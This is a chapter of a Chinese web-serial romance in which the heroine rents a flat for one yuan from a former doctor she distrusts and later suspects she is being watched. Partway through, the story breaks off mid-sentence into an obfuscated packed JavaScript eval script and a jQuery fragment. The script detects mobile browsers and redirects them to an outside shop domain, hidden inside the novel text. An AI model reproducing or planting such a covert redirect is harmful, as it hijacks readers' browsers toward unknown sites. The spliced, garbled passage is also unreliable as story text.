周风染对这套房子也满意地不得了,蘅容的薪资水平很高,她转正后就能拿35K*15薪,拿出小一万来租房也不是负担不起,只是不符合她精打细算的习惯。
白雪蘅已经在跟中介看合同了,她和中介商议细则:“把承租人的月付金额写清楚吧,我出一万五,周女士出四千八。”
周风染急忙上前:“哎哎哎,我们对半分,你就写每个人九千九。”
白雪蘅摁住她:“这套房子是我执意要租的,我来承担大头,你就按这周围那些公寓的均价来付,我还要感谢你来陪我住呢,女生独居那么危险,你说是吧?”
周风染是真不好意思:“你不也是在陪我住吗?这是互相的呀。”
白雪蘅终止了辩论:“我现在是网红,来钱快,你别跟我争了,等以后你升职加薪了,我们再重新分配房租比例。”
周风染只好作罢,听她安排。
中介很快改好了合同,带着两人去店里签约。
“请二位女士稍等,房东很快就到。”
刚说完,白雪蘅就被周风染扯了扯袖子:“雪蘅,你看,外面有个大帅哥……”
白雪蘅顺着她指的方向看过去,只看到玻璃门外,一个人正推门进来。
他的五官在午后的光线里显得很干净,眉骨高,眼窝深,瞳色浅。
周风染已经在掐她胳膊了:“我去,他进来了。”
他的目光扫过店里——柜台、中介、周风染,然后落在白雪蘅身上。
四目相对,白雪蘅笑了。
被这无聊的剧情和生硬的巧合气笑的。
中介从柜台后面站起来,迎上去:“江先生,您来了。合同准备好了,您看看。”然后转头对白雪蘅和周风染介绍,“这位就是房东,江先生。”
周风染低声对白雪蘅耳语:“能不能要求房租月付,当面交?”
白雪蘅没回答。
江映山在白雪蘅对面坐下,拿起合同翻看。
他的手指修长,翻页的动作不快不慢,表情很专注,像是在认真阅读每一条条款,但白雪蘅注意到,他的目光在某一页停了好几秒——那一页写的是租客信息,她和周风染的名字、身份证号、手机号。
“白小姐。”他抬起头,把合同推过来,“你看看,有没有需要修改的地方。”
周风染嘀咕:“他怎么知道我们俩谁是白小姐。”
白雪蘅没看合同,她看着他:
“江医生知道租客是我吗?”
“来之前,不知道。”
周风染再傻也看出来了,他们俩认识。
她扯了扯白雪蘅的袖子:“雪蘅,你们认识?”
白雪蘅还没回答,江映山听到了,转过头看她,语气温和:“白小姐之前住院,我是她的主治医生。”
合情合理。
周风染“哦”了一声,表情从震惊变成了“原来如此”,但眼底还有一丝没散干净的疑虑。
如果只是医患关系,白雪蘅怎么看到他之后身体就有些紧绷,还散发着隐隐的敌意。
白雪蘅把合同合上,指尖按在封面,没签字。
“价格还能降吗?”
江映山闻言顿了一下:“白小姐觉得哪里不合适?”
“哪里都不合适。”白雪蘅靠在椅背上,语气轻飘飘的,“男人住过的房子,我住着膈应。而且,你在国外多年,风气开放,谁知道你有没有带过不三不四的人在里面开那种趴体。”
店里安静了一瞬。
中介手里的水杯停在半空,表情像被人按了暂停键。周风染正喝着饮料,呛了一口,咳了两声,眼睛瞪得比刚才看见帅哥时还大——她不敢咳出声,捂着嘴,脸憋得通红,视线在白雪蘅和江映山之间疯狂弹射。
江映山没有生气,他连眉头都没皱,闻言只是身体微微后仰,靠在椅背里,抬眼看着白雪蘅。
“我没住过多久,”他说,声音不紧不慢,语气平淡,“也没有开过‘那种’趴体。”
“那种”两个字,加了重音。
白雪蘅看着他:“那降不降?”
“已经是整个小区的最低价了。”江映山说,“你可以查。”
“不降就不租了。”白雪蘅把合同往前推了推,动作干脆,像已经把这件事翻篇了。
周风染在旁边急得想跺脚——这是白雪蘅唯一相中的房子,而且房东又这么帅,不租太可惜了。
但她不敢说话,她还没从刚才那句“不三不四的人”里缓过来。
江映山看着被推回来的合同,沉默了两秒。
然后他把合同重新推回去。
“给你免费住吧。”
中介终于没忍住,发出了一声短促的、像是被踩了尾巴的气音。周风染手里的饮料杯歪了一下,洒了几滴在桌上,她慌忙去擦,眼睛却一刻也没离开江映山的脸。
白雪蘅没有受宠若惊,她微微偏头,目光里带着一种“让我看看你葫芦里卖的什么药”的审视。
“江医生这么大方呢?”白雪蘅的话是询问也是揶揄。
江映山即使坐在那里,也比同样坐着的白雪蘅高出不少,他低头看着她,店里的灯光从头顶打下来,在他眉骨下方落了一片薄薄的阴影,让那双浅色的眼睛显得比平时深了一些。
“毕竟是网红白小姐住过的房子,”他说,嘴角扬起的弧度很浅,同样带着揶揄的味道,“日后我也好出手卖掉。”
周风染的嘴巴张开又闭上了。
又是一个听起来合情合理的理由。
白雪蘅拿起笔,翻开合同,在“租金”那一栏的空白处,填了数字“1”。然后把合同推给江映山。
“签字吧。”
江映山拿起笔,没有任何犹豫,在房东签名处签了自己的名字,签完把笔递给周风染。
周风染接过笔,对江映山笑了笑,没想到江映山也温煦一笑,周风染心神一恍,被白雪蘅掐了一把。
“嘶——”
龇牙咧嘴地签完字,二人交了中介费和押金,江映山主动要求加周风染的微信:“周小姐,有问题可以随时联系我。”
周风染连连点头,已经开始思考过几天生个什么病好去挂号。
白雪蘅转给江映山一块钱,备注“房租”。
直到江映山收款离开,系统始终悄无声息。
白雪蘅忍不住问:“给我和江映山设计这么多巧合,就是为了让我们一直纠缠下去?”
系统回答:“你们是官配,剧情会让你们在每一个分叉口相遇。”
白雪蘅追问:“我花他的钱,住他的房子,剧情认为是理所当然,不会从我的劳动所得中扣除差价,对吗?”
系统回答:“是的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17577301|204156||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
猜对了。
白雪蘅心道。
在看到江映山的那一刻,白雪蘅就猜到了这操蛋的剧情设计。
提出免费租房只是她的试探。
没想到江映山和系统的反应让这件事没有阻力的达成了。
想到系统说的“官配”二字,白雪蘅只想犯恶心。
谁跟变态姐控杀人魔是官配。
以1元的价格租到这么好的房子,周风染觉得自己跟着白雪蘅简直是便宜占尽,性格纯善的她心里总是过意不去,于是提议晚上请白雪蘅吃顿好的,去最贵最顶级的餐厅奢侈一把。
白雪蘅明白她的想法,适当接受对方的谢意也是成人之美,她也不扫兴,兴冲冲地答应了。
上次和容昭野没吃成的樱桃鸭胸,圣雅克扇贝,阿拉斯加蟹柳配鱼子酱……
她要拿回属于胃的一切!
周风染坐在包厢里略显局促,她忍不住后悔:“我应该换身衣服,画全妆来了。”
花这么多钱吃这一顿,不出片太可惜了。
白雪蘅笑:“又不是只来这一次,下次我领工资了咱们还来。”
周风染想想也是,便不再挂怀。
不过白雪蘅还是挑了角度,给周风染拍了好几张氛围感照片。
二人说说笑笑,享受美食,买单的时候经理亲自接待,客气地说:“二位女士的账单已经有人买过了。”
白雪蘅看他眼熟,想起来了,上次她和容昭野来的时候见过他。
“是容总买的单吗?”
经理笑而不语。
白雪蘅拿出自己的卡:“我不接受,请你务必刷我的卡。”
花了容昭野的钱是要还的,与其挣完了再还,还不如不花。
经理面露难色。
白雪蘅把卡往前杵了杵:“拿着。”
经理不知道这小两口玩的什么游戏,抑或是闹的什么别扭,只好接下。
周风染半途截住:“用我的,说好的这顿我请。”
出了门,白雪蘅对周风染道歉:“对不起啊,本来可以不用付钱的。”
周风染一脸诧异:“本来就是我请呀,容总是给你买单,又不是给我买,再说了,我占你便宜还少啊?别多想啦~”
白雪蘅很庆幸自己有一个好室友。
第二天是周日,二人准备整理东西,花一天时间搬家。
白雪蘅的东西不多,她在宿舍住的次数很少,所以就一个行李箱的衣服,床品的尺寸不适合租的房子,她也就不要了。
周风染却是实打实在宿舍住了四年,她的四季衣服就好几个箱子,还有许多手办和周边,都是不能磕碰的,二人收拾了很久。
到中午的时候,两人才满头大汗地打电话叫学校里面帮忙搬行李的叔叔帮忙把行李扛下去。
白雪蘅刚喝了杯水缓缓,有敲门声响起。
她打开门,一脸震惊地看到门外站着好几天没见到的——许秘书。
“你怎么来了?”
许秘书笑得温和友好:“容总听说您要搬家,让我来帮您。”
他侧了侧身,身后站着好几个肌肉贲张的猛男保镖。
周风染刚喝的水哗啦啦流了一地。
“容昭野怎么知道我要搬家?你们监视我?”
白雪蘅的语气肃冷,她真恼了。